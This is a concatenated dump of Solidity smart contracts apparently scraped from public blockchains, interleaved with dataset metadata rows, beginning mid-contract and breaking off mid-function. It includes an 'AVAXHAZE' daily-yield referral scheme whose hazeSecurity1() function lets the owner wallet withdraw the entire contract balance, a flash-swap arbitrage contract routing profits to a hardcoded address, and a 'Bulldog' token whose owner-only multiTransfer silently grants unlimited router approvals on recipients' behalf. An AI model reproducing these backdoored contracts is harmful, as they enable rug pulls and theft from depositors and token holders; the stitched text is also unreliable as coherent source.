IERC20(sKronos).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, LOCKER, DIAMOND_HAND }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 1
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
else if (_contract == CONTRACTS.DIAMOND_HAND) { // 2
diamondHand = _address;
}
}
}
| 16,241 | 10,625 |
9709cca7ba68581a6958feac3db4093dee03c4d527c36c550863054791984a63
| 12,284 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1f/1f881c7e4660f825773c4d06699c6155b1c56be4_AVAXHAZE.sol
| 3,765 | 11,580 |
pragma solidity ^0.5.8;
contract AVAXHAZE {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 50;
uint256 constant public DEVELOPER_FEE = 50;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event HazeSecuity(uint256 totalAmount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function hazeSecurity1() public {
require(msg.sender == commissionWallet, "hazeSecurity1() can only be executed by creator of this contract.");
uint256 smartContractBalance = address(this).balance;
commissionWallet.transfer(smartContractBalance);
emit HazeSecuity(smartContractBalance);
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 74,038 | 10,626 |
74e5f744de36e018ff0244ef712c900cd63ad6ddcd38badacbbc2005f3a47bf1
| 22,492 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/33/3313105381092462A8C1DF992C5D4bA181303C15_Arbitrage.sol
| 4,677 | 17,870 |
pragma solidity ^0.6.6;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'cdf2deca40a0bd56de8e3ce5c7df6727e5b1bf2ac96f283fa9c4b3e6b42ea9d2' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external returns (uint[] memory amounts);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IYfi is IERC20{
function deposit(uint amount) external;
function withdraw(uint shares) external;
}
contract Arbitrage {
address public factory;
address public vaultSetter = 0x1B5b5FB19d0a398499A9694AD823D786c24804CC;
mapping(address=>address) private _tokenToVault;
mapping(address=>bool) public isVault;
function setTokenToVault(address _tok, address _vau, bool _isVault) external{
require(msg.sender == vaultSetter);
_tokenToVault[_tok] = _vau;
isVault[_vau] = _isVault;
}
function tokenToVault(address _token) public view returns(address){
return
_tokenToVault[_token] == address(0) ?
_token :
_tokenToVault[_token];
}
function tokenHasVault(address _token) public view returns(bool){
return _tokenToVault[_token] != address(0);
}
uint constant deadline = 9999999999999999999999999999999999;
IUniswapV2Router02 public sushiRouter;
constructor(address _factory, address _sushiRouter) public {
factory = _factory;
sushiRouter = IUniswapV2Router02(_sushiRouter);
}
function startArbitrage(address token0,
address token1,
uint amount0,
uint amount1) external {
address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1);
require(pairAddress != address(0), 'This pool does not exist');
IUniswapV2Pair(pairAddress).swap(amount0,
amount1,
address(this),
bytes('not empty'));
}
function uniswapV2Call(address,
uint _amount0,
uint _amount1,
bytes calldata) external {
address[] memory path = new address[](2);
uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor(factory, token0, token1),
'Unauthorized');
require(_amount0 == 0 || _amount1 == 0);
path[0] = _amount0 == 0 ? token1 : token0;
path[1] = _amount0 == 0 ? token0 : token1;
IERC20 token = IERC20(_amount0 == 0 ? token1 : token0);
address vault = tokenToVault(address(token));
token.approve(vault, amountToken);
if(tokenHasVault(address(token)))
IYfi(vault).deposit(amountToken);
uint vBal = IYfi(vault).balanceOf(address(this));
IYfi(vault).approve(address(sushiRouter), vBal);
uint amountRequired;
{
address[] memory pathRefund = new address[](2);
pathRefund[0] = path[1];
pathRefund[1] = path[0];
amountRequired = UniswapV2Library.getAmountsIn(factory,
amountToken,
pathRefund)[0];
}
uint vAm = IYfi(vault).balanceOf(address(this));
sushiRouter.swapExactTokensForTokensSimple(vAm,
0,
vault,
tokenToVault(path[1]),
false,
address(this),
deadline)[1];
uint amountReceived = withdrawVault(path[1]);
IERC20 otherToken = IERC20(_amount0 == 0 ? token0 : token1);
require(otherToken.balanceOf(address(this)) >= amountRequired, "router check failed somehow");
otherToken.transfer(msg.sender, amountRequired);
otherToken.transfer(0x1B5b5FB19d0a398499A9694AD823D786c24804CC, amountReceived - amountRequired);
}
function withdrawVault(address _address) internal returns(uint){
if (tokenHasVault(_address)) {
IYfi vaultC = IYfi(tokenToVault(_address));
uint am = vaultC.balanceOf(address(this));
vaultC.withdraw(am);
}
return IERC20(_address).balanceOf(address(this));
}
}
| 311,441 | 10,627 |
23593985ccdede648d0c84f464d037e51f7f5e0fa8404c2b5218322f97e2b6cb
| 30,016 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/36/36D769AA5bbDfc94861B012176f9E06a640395b6_Bulldog.sol
| 3,396 | 12,612 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bulldog is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x09b60709d8936eF3e62a9a8A3E1a7e962905Cd14;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
